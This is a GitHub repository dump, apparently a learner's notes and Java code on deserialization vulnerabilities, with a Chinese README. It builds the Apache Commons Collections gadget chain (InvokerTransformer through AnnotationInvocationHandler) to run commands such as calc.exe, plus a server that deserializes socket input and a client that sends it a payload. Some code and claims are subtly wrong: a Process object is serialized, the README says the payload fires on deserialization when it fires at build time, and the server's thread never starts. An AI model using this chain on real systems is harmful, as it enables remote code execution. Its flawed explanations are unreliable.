├── JavaSerialize
├── 1.txt
├── JavaSerialize.iml
├── out
│ └── production
│ │ └── JavaSerialize
│ │ ├── JavaSerialize.iml
│ │ ├── Serialize1
│ │ ├── ExecTest.class
│ │ ├── Serialize.class
│ │ └── Serialize2.class
│ │ ├── Serialize2
│ │ ├── ApacheSerialize.class
│ │ ├── ApacheSerialize2.class
│ │ └── ApacheSerialize3.class
│ │ ├── Server
│ │ ├── Payload1.class
│ │ ├── Payload2.class
│ │ ├── Server1$1.class
│ │ └── Server1.class
│ │ ├── serialize1.txt
│ │ ├── serialize2.txt
│ │ ├── serialize3.txt
│ │ └── web
│ │ ├── WEB-INF
│ │ └── web.xml
│ │ └── index.jsp
├── serialize1.txt
├── serialize2.txt
├── serialize3.txt
├── src
│ ├── Serialize1
│ │ ├── ExecTest.java
│ │ ├── Serialize.java
│ │ └── Serialize2.java
│ ├── Serialize2
│ │ ├── ApacheSerialize.java
│ │ ├── ApacheSerialize2.java
│ │ └── ApacheSerialize3.java
│ └── Server
│ │ ├── Payload1.java
│ │ └── Server1.java
└── web
│ ├── WEB-INF
│ └── web.xml
│ └── index.jsp
└── README.md
/JavaSerialize/1.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/1.txt
--------------------------------------------------------------------------------
/JavaSerialize/JavaSerialize.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
--------------------------------------------------------------------------------
/JavaSerialize/out/production/JavaSerialize/JavaSerialize.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
--------------------------------------------------------------------------------
/JavaSerialize/out/production/JavaSerialize/Serialize1/ExecTest.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/out/production/JavaSerialize/Serialize1/ExecTest.class
--------------------------------------------------------------------------------
/JavaSerialize/out/production/JavaSerialize/Serialize1/Serialize.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/out/production/JavaSerialize/Serialize1/Serialize.class
--------------------------------------------------------------------------------
/JavaSerialize/out/production/JavaSerialize/Serialize1/Serialize2.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/out/production/JavaSerialize/Serialize1/Serialize2.class
--------------------------------------------------------------------------------
/JavaSerialize/out/production/JavaSerialize/Serialize2/ApacheSerialize.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/out/production/JavaSerialize/Serialize2/ApacheSerialize.class
--------------------------------------------------------------------------------
/JavaSerialize/out/production/JavaSerialize/Serialize2/ApacheSerialize2.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/out/production/JavaSerialize/Serialize2/ApacheSerialize2.class
--------------------------------------------------------------------------------
/JavaSerialize/out/production/JavaSerialize/Serialize2/ApacheSerialize3.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/out/production/JavaSerialize/Serialize2/ApacheSerialize3.class
--------------------------------------------------------------------------------
/JavaSerialize/out/production/JavaSerialize/Server/Payload1.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/out/production/JavaSerialize/Server/Payload1.class
--------------------------------------------------------------------------------
/JavaSerialize/out/production/JavaSerialize/Server/Payload2.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/out/production/JavaSerialize/Server/Payload2.class
--------------------------------------------------------------------------------
/JavaSerialize/out/production/JavaSerialize/Server/Server1$1.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/out/production/JavaSerialize/Server/Server1$1.class
--------------------------------------------------------------------------------
/JavaSerialize/out/production/JavaSerialize/Server/Server1.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/out/production/JavaSerialize/Server/Server1.class
--------------------------------------------------------------------------------
/JavaSerialize/out/production/JavaSerialize/serialize1.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/out/production/JavaSerialize/serialize1.txt
--------------------------------------------------------------------------------
/JavaSerialize/out/production/JavaSerialize/serialize2.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/out/production/JavaSerialize/serialize2.txt
--------------------------------------------------------------------------------
/JavaSerialize/out/production/JavaSerialize/serialize3.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/out/production/JavaSerialize/serialize3.txt
--------------------------------------------------------------------------------
/JavaSerialize/out/production/JavaSerialize/web/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
--------------------------------------------------------------------------------
/JavaSerialize/out/production/JavaSerialize/web/index.jsp:
--------------------------------------------------------------------------------
1 | <%--
2 | Created by IntelliJ IDEA.
3 | User: sijidou
4 | Date: 2019/4/1
5 | Time: 16:12
6 | To change this template use File | Settings | File Templates.
7 | --%>
8 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
9 |
10 |
11 | $Title$
12 |
13 |
14 | $END$
15 |
16 |
17 |
--------------------------------------------------------------------------------
/JavaSerialize/serialize1.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/serialize1.txt
--------------------------------------------------------------------------------
/JavaSerialize/serialize2.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/serialize2.txt
--------------------------------------------------------------------------------
/JavaSerialize/serialize3.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/serialize3.txt
--------------------------------------------------------------------------------
/JavaSerialize/src/Serialize1/ExecTest.java:
--------------------------------------------------------------------------------
1 | package Serialize1;
2 |
3 | import java.lang.reflect.Method;
4 |
5 | public class ExecTest {
6 | public static void main(String[] args) throws Exception{
7 | //Runtime.getRuntime().exec("notepad.exe");
8 | Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
9 | System.out.println(runtime.getClass().getName());
10 | Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"notepad.exe");
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/JavaSerialize/src/Serialize1/Serialize.java:
--------------------------------------------------------------------------------
1 | package Serialize1;
2 |
3 | import java.io.FileInputStream;
4 | import java.io.FileOutputStream;
5 | import java.io.ObjectInputStream;
6 | import java.io.ObjectOutputStream;
7 |
8 | public class Serialize{
9 | public static void main(String[] args) throws Exception{
10 | //要序列化的数据
11 | String name = "sijidou";
12 |
13 | //序列化
14 | FileOutputStream fileOutputStream = new FileOutputStream("serialize1.txt");
15 | ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
16 | objectOutputStream.writeObject(name);
17 | objectOutputStream.close();
18 |
19 | //反序列化
20 | FileInputStream fileInputStream = new FileInputStream("serialize1.txt");
21 | ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
22 | Object result = objectInputStream.readObject();
23 | objectInputStream.close();
24 | System.out.println(result);
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/JavaSerialize/src/Serialize1/Serialize2.java:
--------------------------------------------------------------------------------
1 | package Serialize1;
2 |
3 | import java.io.FileInputStream;
4 | import java.io.FileOutputStream;
5 | import java.io.ObjectInputStream;
6 | import java.io.ObjectOutputStream;
7 |
8 | public class Serialize2 {
9 | public static void main(String[] args) throws Exception{
10 | //要序列化的数据
11 | Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
12 | Object evil = Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime, "notepad.exe");
13 | //Object evil = Runtime.getRuntime().exec("calc.exe");
14 | //序列化
15 | FileOutputStream fileOutputStream = new FileOutputStream("serialize2.txt");
16 | ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
17 | objectOutputStream.writeObject(evil);
18 | objectOutputStream.close();
19 |
20 | //反序列化
21 | FileInputStream fileInputStream = new FileInputStream("serialize2.txt");
22 | ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
23 | Object result = objectInputStream.readObject();
24 | objectInputStream.close();
25 | System.out.println(result);
26 | }
27 | }
28 |
--------------------------------------------------------------------------------
/JavaSerialize/src/Serialize2/ApacheSerialize.java:
--------------------------------------------------------------------------------
1 | package Serialize2;
2 |
3 | import org.apache.commons.collections.Transformer;
4 | import org.apache.commons.collections.functors.ChainedTransformer;
5 | import org.apache.commons.collections.functors.ConstantTransformer;
6 | import org.apache.commons.collections.functors.InvokerTransformer;
7 | import org.apache.commons.collections.functors.MapTransformer;
8 | import org.apache.commons.collections.map.TransformedMap;
9 |
10 | import java.io.*;
11 | import java.lang.annotation.Target;
12 | import java.lang.reflect.Constructor;
13 | import java.lang.reflect.InvocationTargetException;
14 | import java.util.HashMap;
15 | import java.util.Map;
16 |
17 | public class ApacheSerialize {
18 | public static void main(String[] args) throws Exception {
19 | Transformer[] transformers = new Transformer[] {
20 | new ConstantTransformer(Runtime.class),
21 | new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
22 | new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
23 | new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
24 | };
25 | Transformer transformerChain = new ChainedTransformer(transformers);
26 |
27 | Map innerMap = new HashMap();
28 | innerMap.put("value", "value");
29 | Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
30 |
31 | Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
32 | onlyElement.setValue("foobar");
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/JavaSerialize/src/Serialize2/ApacheSerialize2.java:
--------------------------------------------------------------------------------
1 | package Serialize2;
2 |
3 |
4 | import org.apache.commons.collections.Transformer;
5 | import org.apache.commons.collections.functors.ChainedTransformer;
6 | import org.apache.commons.collections.functors.ConstantTransformer;
7 | import org.apache.commons.collections.functors.InvokerTransformer;
8 | import org.apache.commons.collections.map.TransformedMap;
9 |
10 | import java.io.*;
11 | import java.lang.annotation.Target;
12 | import java.lang.reflect.Constructor;
13 | import java.util.HashMap;
14 | import java.util.Map;
15 |
16 | public class ApacheSerialize2 implements Serializable {
17 | public static void main(String[] args) throws Exception{
18 | Transformer[] transformers = new Transformer[]{
19 | new ConstantTransformer(Runtime.class),
20 | new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
21 | new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
22 | new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
23 | };
24 | Transformer transformerChain = new ChainedTransformer(transformers);
25 |
26 | Map map = new HashMap();
27 | map.put("value", "sijidou");
28 | Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
29 |
30 | Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
31 | Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
32 | ctor.setAccessible(true);
33 | Object instance = ctor.newInstance(Target.class, transformedMap);
34 |
35 | //序列化
36 | FileOutputStream fileOutputStream = new FileOutputStream("serialize3.txt");
37 | ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
38 | objectOutputStream.writeObject(instance);
39 | objectOutputStream.close();
40 |
41 | //反序列化
42 | FileInputStream fileInputStream = new FileInputStream("serialize3.txt");
43 | ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
44 | Object result = objectInputStream.readObject();
45 | objectInputStream.close();
46 | System.out.println(result);
47 | }
48 | }
--------------------------------------------------------------------------------
/JavaSerialize/src/Serialize2/ApacheSerialize3.java:
--------------------------------------------------------------------------------
1 | package Serialize2;
2 |
3 | import java.io.FileInputStream;
4 | import java.io.ObjectInputStream;
5 |
6 | public class ApacheSerialize3 {
7 | public static void main(String[] args) throws Exception{
8 | FileInputStream fileInputStream = new FileInputStream("1.txt");
9 | ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
10 | Object result = objectInputStream.readObject();
11 | objectInputStream.close();
12 | System.out.println(result);
13 | }
14 | }
15 |
--------------------------------------------------------------------------------
/JavaSerialize/src/Server/Payload1.java:
--------------------------------------------------------------------------------
1 | package Server;
2 |
3 |
4 | import java.io.ObjectInputStream;
5 | import java.io.ObjectOutputStream;
6 | import java.io.OutputStream;
7 | import java.net.Socket;
8 |
9 | public class Payload1 {
10 | public static void main(String[] args) throws Exception{
11 | String host = "127.0.0.1";
12 | int port = 7777;
13 | Socket client = new Socket(host, port);
14 |
15 | OutputStream outputStream= client.getOutputStream();
16 | ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
17 | objectOutputStream.writeObject(getPayload("calc.exe"));
18 | objectOutputStream.flush();
19 | objectOutputStream.close();
20 |
21 | }
22 | private static Object getPayload(String cmd) throws Exception{
23 | Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
24 | Object evil = Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime, "notepad.exe");
25 | return evil;
26 | }
27 | }
28 |
--------------------------------------------------------------------------------
/JavaSerialize/src/Server/Server1.java:
--------------------------------------------------------------------------------
1 | package Server;
2 |
3 | import java.io.BufferedInputStream;
4 | import java.io.ObjectInputStream;
5 | import java.net.ServerSocket;
6 | import java.net.Socket;
7 |
8 | public class Server1 {
9 | public static void main(String[] args) throws Exception{
10 | ServerSocket serverSocket = new ServerSocket(7777);
11 | while(true){
12 | Socket socket = serverSocket.accept();
13 | getserialize(socket);
14 | }
15 | }
16 |
17 | public static void getserialize(final Socket socket){
18 | new Thread(new Runnable() {
19 | @Override
20 | public void run() {
21 | try {
22 | ObjectInputStream objectInputStream = new ObjectInputStream(new BufferedInputStream(socket.getInputStream()));
23 | Object object = objectInputStream.readObject();
24 | }
25 | catch(Exception e){
26 | e.printStackTrace();
27 | }
28 | }
29 | });
30 | }
31 | }
32 |
--------------------------------------------------------------------------------
/JavaSerialize/web/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
--------------------------------------------------------------------------------
/JavaSerialize/web/index.jsp:
--------------------------------------------------------------------------------
1 | <%--
2 | Created by IntelliJ IDEA.
3 | User: sijidou
4 | Date: 2019/4/1
5 | Time: 16:12
6 | To change this template use File | Settings | File Templates.
7 | --%>
8 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
9 |
10 |
11 | $Title$
12 |
13 |
14 | $END$
15 |
16 |
17 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | **java反序列化**
2 |
3 | **1.反序列化依靠的类和方法**
4 |
5 | ObjectOutputStream类的writeObject(Object obj) 将数据序列化成序列化的字符串
6 |
7 | ObjectInputStream类的readObject(Object obj) 将序列化的字符串反序列化成数据
8 |
9 | **2.小测试**
10 |
11 | ```
12 | package Serialize1;
13 |
14 | import java.io.*;
15 |
16 | public class Serialize {
17 | public static void main(String[] args) throws Exception{
18 | //要序列化的数据
19 | String name = "sijidou";
20 |
21 | //序列化
22 | FileOutputStream fileOutputStream = new FileOutputStream("serialize1.txt");
23 | ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
24 | objectOutputStream.writeObject(name);
25 | objectOutputStream.close();
26 |
27 | //反序列化
28 | FileInputStream fileInputStream = new FileInputStream("serialize1.txt");
29 | ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
30 | Object result = objectInputStream.readObject();
31 | objectInputStream.close();
32 | System.out.println(result);
33 | }
34 | }
35 | ```
36 |
37 | 中间会生成一个serialize1.txt的文件,文件内容为序列化的内容
38 |
39 |
40 |
41 | **3.先聊聊命令执行和反射**
42 |
43 | java里面能够执行系统命令的类是Runtime类的exec()方法,至于getRuntime()其实就相当于new一个Runtime方法,下面代码可以弹出记事本
44 |
45 | ```
46 | package Serialize1;
47 |
48 | public class ExecTest {
49 | public static void main(String[] args) throws Exception{
50 | Runtime.getRuntime().exec("notepad.exe");
51 | }
52 | }
53 | ```
54 |
55 | 使用反射机制来实现Runtime的exec方法调用
56 |
57 | ```
58 | package Serialize1;
59 |
60 | import java.lang.reflect.Method;
61 |
62 | public class ExecTest {
63 | public static void main(String[] args) throws Exception{
64 | Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
65 | //System.out.println(runtime.getClass().getName());
66 | Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"notepad.exe");
67 | }
68 | }
69 | ```
70 |
71 | 这里第一句Object runtime =Class.forName("java.lang.Runtime")的作用
72 |
73 | 等价于 Object runtime = Runtime.getRuntime()
74 |
75 | 又等价于 Object runtime = new Runtime()
76 |
77 | 目的是获取一个对象实例好被下一个invoke调用
78 |
79 |
80 |
81 | 第二句Class.forName("java.lang.Runtime").xxxx的作用就是调用上一步生成的runtime实例的exec方法,并将"notepad.exe"参数传入exec()方法
82 |
83 | ```
84 | getMethod(方法名, 方法类型)
85 | invoke(某个对象实例, 传入参数)
86 | ```
87 |
88 |
89 |
90 | **4.利用序列化执行恶意代码**
91 |
92 | 结合上面反射和序列化,将弹出记事本运用到反序列化中
93 |
94 | ```
95 | package Serialize1;
96 |
97 | import java.io.FileInputStream;
98 | import java.io.FileOutputStream;
99 | import java.io.ObjectInputStream;
100 | import java.io.ObjectOutputStream;
101 |
102 | public class Serialize2 {
103 | public static void main(String[] args) throws Exception{
104 | //要序列化的数据
105 | Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
106 | Object evil = Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime, "notepad.exe");
107 | //不用反射,直接调用也是可以触发的
108 | //Object evil = Runtime.getRuntime().exec("notepad.exe");
109 |
110 | //序列化
111 | FileOutputStream fileOutputStream = new FileOutputStream("serialize2.txt");
112 | ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
113 | objectOutputStream.writeObject(evil);
114 | objectOutputStream.close();
115 |
116 | //反序列化
117 | FileInputStream fileInputStream = new FileInputStream("serialize2.txt");
118 | ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
119 | Object result = objectInputStream.readObject();
120 | objectInputStream.close();
121 | System.out.println(result);
122 | }
123 | }
124 | ```
125 |
126 | 把evil变量存入能运行记事本的执行代码,并将内容反序列化到文件中,再打开该文件会触发打开记事本
127 |
128 |
129 |
130 | **apache的反序列化漏洞**
131 |
132 | payload中的利用反射的结构是这样的
133 |
134 | ```
135 | Transformer[] transformers = new Transformer[] {
136 | new ConstantTransformer(Runtime.class),
137 |
138 | new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
139 |
140 | new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
141 |
142 | new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
143 | };
144 | ```
145 |
146 | 理解了好久,这里简述下我的理解,InvokerTransformer的构造函数如下
147 |
148 | ```
149 | public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
150 | this.iMethodName = methodName;
151 | this.iParamTypes = paramTypes;
152 | this.iArgs = args;
153 | }
154 | ```
155 |
156 | 第一个是字符串,是调用的方法名,第二个是个Class数组,带的是方法的参数的类型,第三个是Object数组,带的是方法的参数的值
157 |
158 | 以getMethod举例
159 |
160 | 第一个参数"getMethod"是这个函数的名字
161 |
162 | 第二个参数new Class[]{String.class, Class[].class}是getMethod的2个参数参数类型,一个是String,一个是class[]
163 |
164 | 第三个参数new Object[]{"getRuntime", new Class[0]}是getMethod的2个参数值,一个是getRuntime,一个是空,因为是数组形式所以要这么写
165 |
166 | 上面这个组合起来相当于 getMethod(\ "getRuntime", \ null)
167 |
168 |
169 |
170 | 看下完整的payload代码
171 |
172 | ```
173 | public class ApacheSerialize {
174 | public static void main(String[] args) throws Exception {
175 | Transformer[] transformers = new Transformer[] {
176 | new ConstantTransformer(Runtime.class),
177 | new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
178 | new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
179 | new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
180 | };
181 |
182 | //将transformers数组存入ChaniedTransformer这个继承类
183 | Transformer transformerChain = new ChainedTransformer(transformers);
184 |
185 | //创建Map并绑定transformerChina
186 | Map innerMap = new HashMap();
187 | innerMap.put("value", "value");
188 | Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
189 |
190 | //触发漏洞
191 | Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
192 | onlyElement.setValue("foobar");
193 | }
194 | }
195 | ```
196 |
197 |
198 |
199 | 整体说一下这个反序列化实现的过程
200 |
201 | 在`InvokerTransformer`下存在以下的处理过程
202 |
203 | ```
204 | public Object transform(Object input) {
205 | if (input == null) {
206 | return null;
207 | } else {
208 | try {
209 | Class cls = input.getClass();
210 | Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
211 | return method.invoke(input, this.iArgs);
212 | } catch (NoSuchMethodException var4) {
213 | throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
214 | } catch (IllegalAccessException var5) {
215 | throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
216 | } catch (InvocationTargetException var6) {
217 | throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
218 | }
219 | }
220 | }
221 | ```
222 |
223 | 可以看到它利用了反射进行调用函数,Object是传进来的参数,`this.iMethodName`,`this.iParamTypes`和`this.iArgs`是类中的私有成员
224 |
225 | 这反射类比下正常的调用就是如下形式
226 |
227 | ```
228 | input.(this.iMethodName( this.iArgs[0], this.iArgs[1]))
229 | ```
230 |
231 | `input`是类名, `this.iMethodName`是方法名, 之后的`this.iParamTypes`是参数类型,`this.iParamTypes`是参数的值
232 |
233 | 查看3个私有变量传进来的方式,是利用的构造函数,即在new的时候,把参数代入到私有成员
234 |
235 | ```
236 | public class InvokerTransformer implements Transformer, Serializable {
237 | private final String iMethodName;
238 | private final Class[] iParamTypes;
239 | private final Object[] iArgs;
240 |
241 | public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
242 | this.iMethodName = methodName;
243 | this.iParamTypes = paramTypes;
244 | this.iArgs = args;
245 | }
246 | ```
247 |
248 | 因此我在payload中第一部生成的transformers数组的效果等价于
249 |
250 | ```
251 | transformers[1]
252 | input.getMethod("getRuntime", null)
253 |
254 | transformers[2]
255 | input.invoke(null, null);
256 |
257 | transformers[3]
258 | input.exec("calc.exe");
259 | ```
260 |
261 | input是后面调用`transform(Object input)`的传参,但是这3个明显是闲散的,我们的目的是把它们组合起来
262 |
263 | 回到payload中`transformers`数组的第一个值是
264 |
265 | ```
266 | new ConstantTransformer(Runtime.class)
267 | ```
268 |
269 | 为什么它的画风和其他的值不一样,这个我理解的是它会告诉之后的操作是从哪个类里面进行查找的
270 |
271 | 下面的`ChainedTransformer`是将数组存储为一个对象
272 |
273 | ```
274 | Transformer transformerChain = new ChainedTransformer(transformers);
275 | ```
276 |
277 | 上面的对象将当做参数绑定到`TransformedMap`中,当然一同绑定的还有一个普通的hashmap对象
278 |
279 | ```
280 | Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
281 | ```
282 |
283 | 这里说明下为什么要申请个`TransformedMap`对象
284 |
285 | 我们为了把`transform`里面的内容组合起来,`TransformedMap`中有个如下函数
286 |
287 | ```
288 | protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
289 | super(map);
290 | this.keyTransformer = keyTransformer;
291 | this.valueTransformer = valueTransformer;
292 | }
293 |
294 | protected Object checkSetValue(Object value) {
295 | return this.valueTransformer.transform(value);
296 | }
297 | ```
298 |
299 | 申请对象的时候 上面传进来的`TransformerChian`会存储在`this.valueTransformer`中,然后`checkSetValue(Object value)`会调用`this.valueTransformer`的transform方法,并且参数是从checkSetValue中传参数入的
300 |
301 | 看一下`ChainedTransformer`类的transform方法
302 |
303 | ```
304 | public Object transform(Object object) {
305 | for(int i = 0; i < this.iTransformers.length; ++i) {
306 | object = this.iTransformers[i].transform(object);
307 | }
308 |
309 | return object;
310 | }
311 | ```
312 |
313 | 是一个反复的循环调用,后面一个transformers调用前面一个tranformers的返回值,并且会遍历一遍数组里面的所有值
314 |
315 | 再看看之前构造的chainedTransformer对象里面的内容
316 |
317 | ```
318 | [0]是ConstantTransformer对象,它会返回new时候的参数中的Object对象,这里也是就是"java.Runtime"
319 | [1]-[3]是InvokerTransformer对象,调用的是反射的代码
320 | ```
321 |
322 | 然后调用这个`TransformedMap`对象的利用 Map.Entry取得第一个值,调用修改值的函数,会触发下面的setValue()代码
323 |
324 | ```
325 | public Object setValue(Object value) {
326 | value = this.parent.checkSetValue(value);
327 | return this.entry.setValue(value);
328 | }
329 | ```
330 |
331 | 而其中的checkSetValue()实际上是触发TransoformedMap的checkSetValue()方法,而此次的this.valueTransformer就是ChianedTransformer类,之后就会触发漏洞利用链
332 |
333 | ```
334 | protected Object checkSetValue(Object value) {
335 | return this.valueTransformer.transform(value);
336 | }
337 | ```
338 |
339 | 整理一下思路
340 |
341 | ```
342 | ChianedTransformer可以理解为一个数组容器
343 | ChianedTransformer里面装了4个transform
344 | TransoformedMap绑定了ChiandTransformer
345 |
346 | step1 : 利用TransoformedMap的setValue触发ChianedTransformer的transform
347 |
348 | step2 : ChianedTransformer的transform是一个循环调用该类里面的transformer的transform方法
349 |
350 | step3 : 第一次循环调用ConstantTransformer("java.Runtime")对象的transformer调用参数为"foobar"(正常要修改的值),结果无影响
351 |
352 | step4 : 第二次循环调用InvokerTransformer对象getMethod("getRuntime",null)方法,参数为("java.Runtime")会返回一个Runtime.getRuntime()方法
353 | 相当于生产一个字符串,但还没有执行,"Rumtime.getRuntime();"
354 |
355 | step5 : 第三次循环调用InvokerTransformer对象Invoke(null,null)方法,参数为Runtime.getRuntime(),那么会返回一个Runtime对象实例
356 | 相当于执行了该字符串,Object runtime = Rumtime.getRuntime();
357 |
358 | step6 : 第四次循环调用InvokerTransformer对象exec("clac.exe")方法,参数为一个Runtime的对象实例,会执行弹出计算器操作
359 | 调用了对象的方法,runtime.exec("clac,exe")
360 |
361 | ```
362 |
363 | 至此已经能够触发漏洞了,之后还会执行什么步骤无关紧要了
364 |
365 |
366 |
367 | **反序列化漏洞实现**
368 |
369 | 上面的代码只是作为一段小脚本执行了,但是没有被用来通过网络传输payload,然后被反序列化利用,并且还要满足被反序列化之后还会改变map的值等总总因素的影响,假设一个理想的情况如下
370 |
371 | ```
372 | public class ApacheSerialize2 implements Serializable {
373 | public static void main(String[] args) throws Exception{
374 | Transformer[] transformers = new Transformer[]{
375 | new ConstantTransformer(Runtime.class),
376 | new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
377 | new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
378 | new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
379 | };
380 | Transformer transformerChain = new ChainedTransformer(transformers);
381 |
382 | Map map = new HashMap();
383 | map.put("value", "sijidou");
384 | Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
385 |
